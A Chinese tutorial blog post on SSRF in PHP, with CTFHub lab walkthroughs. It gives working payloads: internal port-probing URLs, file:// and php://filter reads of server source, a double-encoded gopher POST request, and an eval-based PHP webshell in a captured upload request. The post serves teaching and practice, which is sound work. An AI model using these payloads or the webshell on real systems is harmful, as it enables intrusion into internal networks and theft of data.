IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> SSRF漏洞详解(练习持续更新中) -> 正文阅读

[PHP知识库]SSRF漏洞详解(练习持续更新中)

概念

SSRF(Sever-Side Request Forgery: 服务器端请求伪造) 是一种由攻击者构造由服务器端发起请求的安全漏洞。一般情况下,SSRF漏洞攻击的目标是从外网无法访问的内网系统(因为由服务器端发起,所以能够请求到与外网隔离的内网系统)在这里插入图片描述

形成原因

其形成的原因大都是由于服务器提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格的过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。例如:从指定URL地址获取网页内容,加载指定地址的图片,下载等

数据流:攻击者->服务器->目标地址

在这里插入图片描述

PHP函数应用

根据后台使用的函数不同,对应的影响和利用方法也不同
php中下面函数使用不当会导致SSRF

file_get_contents()  将整个文件或一个url所指向的文件读入一个字符串中
fsockopen()  打开一个网络连接或者一个Unix 套接字连接
curl_exec()   初始化一个新的会话
//这三个函数在利用远程服务器获得请求比较常见

如果一定要通关后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好对目标地址的过滤。

PHP中的curl函数

在这里插入图片描述
利用ssrf漏洞能够对后端服务器同一网络的其他服务器进行探测

?url=http://192.168.1.15:22   //探测该ip的22号端口是否开放

PHP中的file_get_content()函数

在这里插入图片描述
对本次文件和远程文件进行读取,也可通过其支持的协议对内网进行探测,同curl()函数。
读取ssrf.phpphp源码,并以base64编码返回。

?file=php://filter/read=convert.base64-encode/resource=ssrf.php

漏洞利用

  • 内网主机探测
  • 内网主机端口扫描
  • 攻击内网的应用程序
    例如: CVE-2014-4210 利用weblogic中的ssrf漏洞攻击内网中的redis服务器, 通过构造的payloadredis服务器反弹shell
  • 利用http 、file、 dict、 gopher 、ftp【文件传输协议】 协议进行请求访问相应的文件
  1. 利用file协议对本地文件内容进行读取
  2. 利用http协议探测内网存活的IP端口
  3. 利用gopher协议构造get、post请求
  4. 利用dict协议泄露安装软件版本信息,查看端口,操作内网redis服务等
  • Dos攻击

gopher协议详解(练习题中会用到)

gopher协议是一种信息查找系统,TCP70端口。
gopher协议支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • 回车换行需要使用%0D%0A来代替%0A
  • 多个参数之间的&也需要进行URL编码
  • 发送gopher协议, 协议后的IP一定要接端口

使用方式

  1. 构造HTTP GET/POST请求消息

  2. 对请求消息进行URL编码

  3. 将编码后的字符串中%0A替换为%0D%0A

  4. 将最终的字符串再进行一次URL编码

  5. 拼接协议头、请求地址

练习——ctfhub

内网访问

题目要求访问127.0.0.1flag.php,直接拼接进行访问即可得到flag

?url=127.0.0.1/flag.php

在这里插入图片描述

伪协议读取文件

尝试读取web目录下的flag.phpweb目录下的文件,一般网站的目录都放在www/html/目录下

?url=file:///var/www/html/flag.php

查看源码得到flag
在这里插入图片描述

端口扫描

题目提示端口范围是8000-9000。在url处进行拼接

/?url=127.0.0.1:8000

在这里插入图片描述
状态码提示OK,我们考虑在端口处进行标记,暴力破解
修改intruder模块的payloads如下在这里插入图片描述

POST请求

在这里插入图片描述

?url=127.0.0.1/flag.php

页面跳转后得到一个输入框,查看源码在这里插入图片描述
没有得到有用的信息,在搜索wp的过程中,有的提到要用302.php,现在题目有所更新,该php页面不存在了。
使用dirsearch进行目录扫描,得到flag.phpindex.php
我们将刚才源码中得到的key放入输入框查看结果,提示进程仅从127.0.0.1中查看在这里插入图片描述
接下来尝试使用file协议读取flag.php的内容

?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

再次使用file协议读取index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);



$ch = curl_init();
//初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);//设置URL到CURLOPT_URL

curl_setopt($ch, CURLOPT_HEADER, 0);//是否输出头信息到屏幕

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //值被设置为1时将会根据服务器返回 HTTP 头中的 "Location: " 来重定向。
// 位掩码, 1 (301 永久重定向), 2 (302 Found)4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。

curl_exec($ch);// 抓取 URL 并把它传递给浏览器
curl_close($ch);// 关闭 cURL 资源,并且释放系统资源

题目为post,我们使用gopher协议来解题

思路:目前已知flag.php含有字符keyindex.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包,请求包内容是flag.phpkey

利用gopher协议传入post请求

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36  //为最后一行字符串key=.....的长度
Content-Type: application/x-www-form-urlencoded

key=6767e4aacaf6cb5f0a00acb8d8dee5cb

在第一次编码后的数据中,将%0A全部手动替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。
第一次编码后

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=6767e4aacaf6cb5f0a00acb8d8dee5cb%0d%0a

第二次编码后

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=6767e4aacaf6cb5f0a00acb8d8dee5cb%250d%250a

注意:每打开一次环境,key的值都不一样。

上传文件

题目内容需要上传flag.php

?url=127.0.0.1/flag.php

出现了上传文件的按钮,但缺少提交按钮。
在这里插入图片描述
我们尝试修改在前端修改源码,打开开发者工具中的查看器一栏后,在对应源码右键,点击生成节点副本。在这里插入图片描述
修改新生成的filesubmit(涉及到CSS的基础知识

点击回车后,得到提交查询的按钮
在这里插入图片描述
我们先使用file协议查看flag.php的内容

?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

分析源码发现会分析文件内容是否为空,我们同样采用gopher协议的方法。

思路:随意上传一个文件,使用burp抓包得到http请求的数据包,将得到的响应使用进行url编码,将所有的%0a前面修改为%0d%0a,再次进行url编码即可得到flag。

抓取的是提交查询时的数据包

POST /flag.php HTTP/1.1
Host: challenge-6212554f835202df.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------394055119139482426153894044749
Content-Length: 380
Origin: http://challenge-6212554f835202df.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-6212554f835202df.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------394055119139482426153894044749
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[123]);?>
-----------------------------394055119139482426153894044749
Content-Disposition: form-data; name="file"

鎻愪氦鏌ヨ
-----------------------------394055119139482426153894044749--

将两次url编码得到的字符串进行payload拼接得到get请求,发送请求即可得到flag

GET /?url=127.0.0.1/index.php?url=gopher://127.0.0.1:80/_(两次url编码得到的字符串)
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-24 15:19:43  更:2021-08-24 15:20:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 21:21:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码